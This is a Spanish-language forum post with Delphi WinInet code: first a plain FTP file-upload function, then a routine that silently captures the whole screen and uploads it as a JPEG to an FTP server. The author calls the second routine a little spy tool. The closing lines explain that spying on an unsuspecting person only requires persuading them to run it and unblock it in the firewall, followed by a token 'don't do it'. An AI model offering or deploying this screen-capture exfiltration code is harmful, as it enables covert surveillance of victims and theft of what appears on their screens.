Roman de Ftp todavía no había puesto ningún ejemplo, pero lo puedo intentar. La siguiente función sube un archivo a un servidor FTP.
Código Delphi
[-]
Uses WinInet;
function Upload(LocalFile, RemoteFile, Server: string; Port: Word;
Username, Password: PChar): Boolean;
var
hNet: HINTERNET;
hCon: HINTERNET;
Context: DWORD;
begin
Result := FALSE;
Context:= 0;
hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if (hNet <> nil) then
begin
hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
INTERNET_SERVICE_FTP,0,Context);
if (hCon <> nil) then
begin
Result:= FtpPutFile(hCon,PChar(LocalFile),PChar(RemoteFile),
FTP_TRANSFER_TYPE_BINARY, Context);
InternetCloseHandle(hCon);
end;
InternetCloseHandle(hNet);
end;
end;
Upload('C:\Foto.jpg','Carpeta/Foto.jpg','127.0.0.1',21,'Usuario','');
Los parámetros son: el archivo local, el archivo remoto (el que se va a crear), la dirección del servidor (el nombre o la ip), Usuario y password. Los parámetros Usuario y Password son PChar, así que si quieres usar una variable de tipo string tendrás que hacer el conveniente typecast ( PChar(variable) ), si por el contrario quieres hacer una conexión anónima utiliza nil en ambos parámetros.
Ahora es cuando comenzamos a complicar la cosa, en vez de mandar un archivo vamos a mandar una imagen. De echo vamos a capturar la pantalla y subir la imagen al ftp, algo así como un pequeño espía.
Código Delphi
[-]
uses Windows, SysUtils, Classes, Graphics, Jpeg, WinInet;
function UploadScreen(Server: string; Port: Word; Username, Password: PChar): Boolean;
var
hNet: HINTERNET;
hCon: HINTERNET;
hFile: HINTERNET;
Context: DWORD;
Bmp: Tbitmap;
Jpg: TJPEGImage;
Mem: TMemoryStream;
Escritos: Cardinal;
begin
Result := FALSE;
Context:= 0;
hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if (hNet <> nil) then
begin
hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
INTERNET_SERVICE_FTP,0,Context);
if (hCon <> nil) then
begin
hFile:= FtpOpenFile(hCon,PChar(FormatDateTime('ddmmyyhhnnss',Now)+'.jpg'),GENERIC_WRITE,
FTP_TRANSFER_TYPE_BINARY,Context);
if (hFile <> nil) then
begin
Bmp:= Tbitmap.Create;
Jpg:= TJPEGImage.Create;
Mem:= TMemoryStream.Create;
try
try
bmp.Width:= GetSystemMetrics(SM_CXSCREEN);
bmp.Height:= GetSystemMetrics(SM_CYSCREEN);
BitBlt(bmp.Canvas.Handle,0,0,bmp.Width,bmp.Height,GetDc(0),0,0,SRCCOPY);
jpg.Assign(bmp);
jpg.CompressionQuality:= 60;
jpg.Compress;
jpg.SaveToStream(Mem);
if InternetWriteFile(hFile,Mem.Memory,Mem.Size,Escritos) then
Result:= Mem.Size = Escritos
else
Result:= FALSE;
except end;
finally
Mem.Free;
Bmp.free;
Jpg.free;
end;
InternetCloseHandle(hFile);
end;
InternetCloseHandle(hCon);
end;
InternetCloseHandle(hNet);
end;
end;
var
Usuario: string;
Password: string;
begin
Usuario:= 'Miron';
Password:= '';
UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
end;
Con esto ya se puede espiar a un incauto, solo hace falta convencerlo de que ejecute el programa, lo desbloquee en el firewall de windows y que no tenga otro firewall instalado. En serio, espiar a la gente es una cosa muy fea
así que no lo hagáis